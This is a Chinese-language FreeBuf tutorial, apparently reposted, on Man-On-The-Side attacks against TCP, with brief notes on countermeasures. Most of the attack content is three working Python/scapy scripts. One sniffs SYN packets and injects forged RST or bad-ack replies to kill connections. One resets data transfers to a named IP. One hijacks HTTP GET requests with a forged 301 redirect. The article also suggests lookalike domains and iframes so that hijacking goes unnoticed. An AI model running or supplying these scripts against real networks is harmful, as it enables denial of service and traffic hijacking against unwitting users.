當前位置:
首頁 > 新聞 > MOTS攻擊之TCP攻擊

MOTS攻擊之TCP攻擊

*本文原創作者:feiniao,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


1.

 

概述


繼續進行

MOTS類型攻擊方式的進展。這裡再次強調一下,MOTS 是指 Man-On-The-Side,是一種在旁路監聽模式下的攻擊方式;和 MITM 不同,MITM 是指 Man-In-The-Middle,是中間人攻擊。MOTS 其原理是監聽與構造響應數據包,並在正常數據包返回之前插入偽造的數據包。其實現的核心條件是 TCP/IP 協議本身實現時並沒有考慮這方面的安全問題。MOTS 實現的整體邏輯如下所示,其中 Attack 是旁路監聽模式,而不是直接串在網路中的。這種類型的攻擊比中間人攻擊相對隱秘,其正常情況下只是監聽,需要攻擊時才進行攻擊,並且攻擊時只需要發送少量報文,不會出現大流量。所以具有隱蔽、難以發現、攻擊效果明顯等特點



前面已經進行了MOTS相關原理及基於UDP應用攻擊的描述。不了解的可以點擊文末的閱讀原文查看下面兩篇文章:


《MOTS攻擊技術分析》


《MOTS攻擊之UDP攻擊》


學習過TCP/IP的同學都應該了解,傳輸層有兩種協協議:TCP和UDP,這兩種協議本身的特點決定了其應用場景的不同。TCP作為一種可靠的協議,其具有面向連接、可靠等特點。所以很多應用都基於TCP作開發,如應用最多的web應用。針對TCP的攻擊這裡主要介紹兩種方式:DOS和劫持,其他類型的攻擊,大家可以完善、補充。


2.

 

DOS攻擊

2.1  原理


大家知道,針對某一IP的特點埠進行探測其是否開放時,一般發送SYN,若其埠開放,對方回應SYN+ACK;若埠不開放,則回應reset。所以針對TCP的應用,我們進行DOS時,可以監聽其SYN包,一旦有客戶端發送SYN,直接給其回應reset,並且保證偽造的reset比正常的響應包早到,即可達到DOS的效果。其實現邏輯如下圖所示:



2.2 三次握手DOS


要實現對TCP應用的DOS,需要按照以下幾步實現:



1、構造reset報文


2、監聽網路中的TCP SYN報文


3、監聽到TCP SYN報文時,回應reset報文


2.2.1

安裝scapy庫


實現TCP的DOS攻擊是通過安裝python的第三方庫scapy庫來實現的,python本身沒有這個庫,需要手工安裝,具體安裝方法大家根據自己的系統與python版本自行安裝,本人測試是使用Win10 Pro+Python3.6。python 3.6版本可以通過命令: pip install scapy來安裝。


2.2.2

構造reset報文


reset報文結構相對較簡單,普通的TCP報文,只是其reset和ack位置一,且ack=前一報文的seq+1。對方收到reset報文後,其TCP層立即釋放TCP連接,reset報文比fin報文釋放連接時效率高很多,正常的TCP關閉使用FIN時需要四個報文,而使用reset來釋放的話只需要一個報文。



2.2.3

監聽並攻擊


攻擊程序代碼如下,大家可以根據實際情況修改:



coding:utf-8


『』』


date:2017-07-07


author:feiniao

Version:1.0


『』』


from scapy.all import *


import random


『』』


1、windows綁定本機網卡,首先使用show_interfaces()查看相關網卡


2、再使用conf.iface=』』綁定相應的網卡


3、linux需要在sniff()中指定相應的網卡


『』』


conf.iface=』Intel(R) Dual Band Wireless-AC 8260』

隨機ip欄位的id和ttl


ipid = random.randint(1,65535)


ipttl = random.randint(45,80)


tcpseq = random.randint(1,4294967295)


def buying(tcpmots):


resp = Ether()/IP()/TCP()


構造TCP相關欄位


resp[TCP].dport = tcpmots[TCP].sport

resp[TCP].sport = tcpmots[TCP].dport


resp[TCP].ack = tcpmots[TCP].seq + 1


resp[TCP].flags = 「RA」


resp[TCP].window = 0


構造IP包頭


resp[IP].src = tcpmots[IP].dst


resp[IP].dst = tcpmots[IP].src


resp[IP].ttl = ipttl


resp[IP].id  = ipid

構造乙太網包頭


resp[Ether].src = tcpmots[Ether].dst


resp[Ether].dst = tcpmots[Ether].src


發送構造的TCP DOS 包


sendp(resp,count=1)


print(「TCP DOS 攻擊」,resp[IP].dst,」成功」)


if

name

== 『

main

『:


sniff(prn=buying,filter=』tcp[tcpflags]&(tcp-syn)!=0 and tcp[tcpflags]&(tcp-ack)==0』)


找到攻擊程序所在的目錄,直接輸入python tcpsyndos.py即可。


大家攻擊測試的情況可能和我一樣,收到客戶端的SYN包以後,明明發送了reset報文,並且對方也收到了,但是客戶端就是不釋放連接,並且正常的響應報文過來以後還可以正常交互。其報文交互如下所示:



通過上面的交互可以看到,192.168.0.105發送一個SYN報文,118.184.32.93首先回應了一個reset報文,其rst和ack位均置一。但是192.168.0.105並沒有釋放連接,然後收到118.184.32.93的syn+ack報文,反而建立成功了TCP的三次握手,後面還正常進行數據的交互。正常情況下,客戶端收到reset報文時的確應該是直接釋放TCP連接,但是攻擊在不斷進化與升級的同時,防護也同樣在升級。本人測試時使用的是Windows10 Pro版本,經分析,其應該是操作系統過濾了reset報文,至少是過濾了三次握手時的reset包,所以才導致連接並沒有釋放並且可以正常交互。


端系統對RST報文的過濾,大家可參考:http://www.vants.org/?post=140


如果有測試時出現攻擊者發送reset包的並且正常釋放連接的,那麼其端系統是沒有過濾reset報文的,測試成功的小夥伴可以聯繫我,我來完善一下。


2.2.4

攻擊對抗


既然客戶端過濾了reset那麼,那麼就沒有辦法針對三次握手時進行DOS了?呵呵!辦法還是有很多種的,大家知道,客戶端發送seq=x時,對方響應報文的ack=x+1,若ack!=x+1,那麼客戶端肯定會響應reset的。這樣話,就有了下面第一種針對方式,改變ack的大小,只需要把上面的代碼作下面的修改即可:



resp[TCP].ack = 0    //ack大小可以任意指定

resp[TCP].flags= "SA"


這樣修改的話,可以達到DOS的效果,實際攻擊效果如下:



2.3 數據交互DOS


這種DOS的攻擊場景為數據交互時,若瀏覽某個頁面時,傳輸數據時等。其只需要監聽客戶端的行為,並對特定的方式或內容進行DOS。


這裡本人實現時,只要有PUSH行為,就給DOS。代碼如下:



coding:utf-8


『』』


date:2017-07-11


author:feiniao


Version:1.0


『』』


from scapy.all import *


import random


『』』


1、windows綁定本機網卡,首先使用show_interfaces()查看相關網卡


2、再使用conf.iface=』』綁定相應的網卡


3、linux需要在sniff()中指定相應的網卡


『』』


conf.iface=』Intel(R) Dual Band Wireless-AC 8260』


隨機ip欄位的id和ttl


ipid = random.randint(1,65535)


ipttl = random.randint(45,80)


tcpseq = random.randint(1,4294967295)


def buying(tcpmots):


resp = Ether()/IP()/TCP()


構造TCP相關欄位


resp[TCP].dport = tcpmots[TCP].sport


resp[TCP].sport = tcpmots[TCP].dport


resp[TCP].seq = tcpmots[TCP].ack


resp[TCP].ack = tcpmots[TCP].seq + len(tcpmots[TCP].load)


resp[TCP].flags = 「RA」


resp[TCP].window = 0


構造IP包頭


resp[IP].src = tcpmots[IP].dst


resp[IP].dst = tcpmots[IP].src


resp[IP].ttl = ipttl


resp[IP].id  = ipid


構造乙太網包頭


resp[Ether].src = tcpmots[Ether].dst


resp[Ether].dst = tcpmots[Ether].src


發送構造的TCP DOS 包


sendp(resp,count=1)


print(「TCP DOS 攻擊」,resp[IP].dst,」成功」)


if

name

== 『

main

『:


sniff(prn=buying,filter=』tcp[tcpflags]&(tcp-push)!=0 and dst host 118.184.32.93』)


測試時,發現客戶端並沒有過濾PUSH數據交互時的reset報文,上面過濾了三次握手時的reset報文,可見reset報文的過濾在TCP層面可以有針對性的過濾。針對數據交互的DOS:




這裡大家可以根據具體需求進行完善。


2.4 對抗


2.4.1

加密


使用VPX、代理、https等方式


2.4.2

協議優化


以下純粹個人觀點:


針對MOTS類型的 TCP DOS方式的攻擊,客戶端發送syn報文後,一方面可以直接過濾reset報文,另一方面收到reset或者syn+ack但是ack序號不正確的報文不立即處理,而是等一段時間(如10ms),在這段時間內若有正常的syn+ack報文過來,則正常建立連接。


3.

 

TCP劫持與欺騙


3.1 原理


很簡單,在監聽到客戶端發送請求時,發送一個偽造的響應,並且比正常的響應早到,這樣即可達到欺騙的效果。生活中常見的如打開網頁時插入尾巴、廣告等方式一般情況下都是通過這種方式實現的。


3.2 實現


這裡實現一個打開任意網站時,返回一個301,並跳轉到freebuf的劫持。代碼如下,運行很簡單,



coding:utf-8


『』』


name:http mots attack


date:2017-07-11


author:feiniao


Version:1.0


『』』


from scapy.all import *


import random


『』』


1、windows綁定本機網卡,首先使用show_interfaces()查看相關網卡


2、再使用conf.iface=』』綁定相應的網卡


3、linux需要在sniff()中指定相應的網卡


『』』


conf.iface=』Intel(R) Dual Band Wireless-AC 8260』


ipid = random.randint(1,65535)


ipttl = random.randint(45,80)


tcpseq = random.randint(1,4294967295)#HTTP 301


data = 「HTTP/1.0 301 Moved Permanently


data += 「Server: Apache/1.3.17 (Unix) PHP/4.0.4


data += 「Location: http://www.freebuf.com


data += 「Content-Type: text/html; charset=iso-8859-1


data += 「Connection: close


data += 「


def buying(httpmots):


resp = Ether()/IP()/TCP()/data


構造TCP相關欄位


resp[TCP].dport = httpmots[TCP].sport


resp[TCP].sport = httpmots[TCP].dport


resp[TCP].seq = httpmots[TCP].ack


resp[TCP].ack = httpmots[TCP].seq + len(httpmots[TCP].load)


resp[TCP].flags = 「A」


resp[TCP].window = 12345


構造IP包頭


resp[IP].src = httpmots[IP].dst


resp[IP].dst = httpmots[IP].src


resp[IP].ttl = ipttl


resp[IP].id  = ipid


構造乙太網包頭


resp[Ether].src = httpmots[Ether].dst


resp[Ether].dst = httpmots[Ether].src


發送構造的TCP DOS 包


sendp(resp,count=1)


print(「HTTP劫持」,resp[IP].src,」成功」)


if

name

== 『

main

『:


過濾HTTP的GET請求


sniff(prn=buying,filter=』tcp[((tcp[12:1]&0xf0)>>2):4]=0x47455420 and not host 120.55.226.207』)


攻擊效果如下,打開www.cisco.com,返回的是www.freebuf.com的內容。有的同學可能說這個太直觀了,很容易發現,cisco和freebuf差別還是很大的,如果返回的是www.cisc0.com、 www.clsco.com、甚至前面有大牛寫的「同形異義」,這種方式就不好發現了。


運營X做劫持的方法之一為:返回302,返回內容中有 iframe,通過 iframe 載入正常的頁面,這樣的話很就難發現了。





上面實現時花費了很長時間,一直使用 python 的 scapy_http.http 庫來實現,但是在發送的時候一直報錯,由於本人python 新手,最後還是通過 scapy 構造 http 的數據來實現。有通過 scapy_http.http 庫實現的大牛,可以貢獻一下相關代碼,嘿嘿!在這裡先謝過。


3.3 對抗


大家自己總結吧,我上面也寫了很多。這裡就不作太多描述了。


*本文原創作者:feiniao,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

如何利用密碼學以及數論基礎攻擊一個「宣稱安全」的密碼系統
2017年全球數據泄露成本研究報告解讀
利用qq釣魚或者定位女友是否回家
跨平台惡意軟體Adwind捲土重來,這一次倒霉的是航空航天領域

TAG:FreeBuf |

您可能感興趣

RANCOR:針對東南亞的APT攻擊
攻擊AI模型之FGSM演算法
攻擊 AI 模型之 FGSM 演算法
頭條:RANCOR利用DDKONG和PLAINTEE惡意軟體攻擊東南亞
RANCOR使用PLAINTEE和DDKONG惡意軟體家族在東南亞進行針對性攻擊
新的 CSS 攻擊會導致 iOS 系統重啟或 Mac 凍結
朝鮮APT組織Lazarus使用KEYMARBLE後門攻擊俄羅斯
FreeRTOS漏洞將多個系統暴露於攻擊之下
英特爾CPU新漏洞「預兆」(L1TF)|VORACLE攻擊可解密通過VPN發送的HTTP流量
DDOS攻擊詳解
谷歌Chrome OS將推新功能:防物理USB攻擊
IC3、DHS、FBI聯合發布RDP攻擊預警
PHP UDP攻擊查找源頭
SYN攻擊如何利用TCP協議發動攻擊?
LogMeinDNS流量藏惡意軟體,靶向攻擊PoS系統
針對中東的APT攻擊:Big Bang
英特爾CPU新漏洞「預兆」(L1TF)|VORACLE攻擊可解密VPN流量
獨家揭秘以太坊JSON-RPC介面最新攻擊方式「拾荒攻擊」
基於IPMI協議的DDoS反射攻擊分析
曾遭黑客攻擊的EOSBet重新上線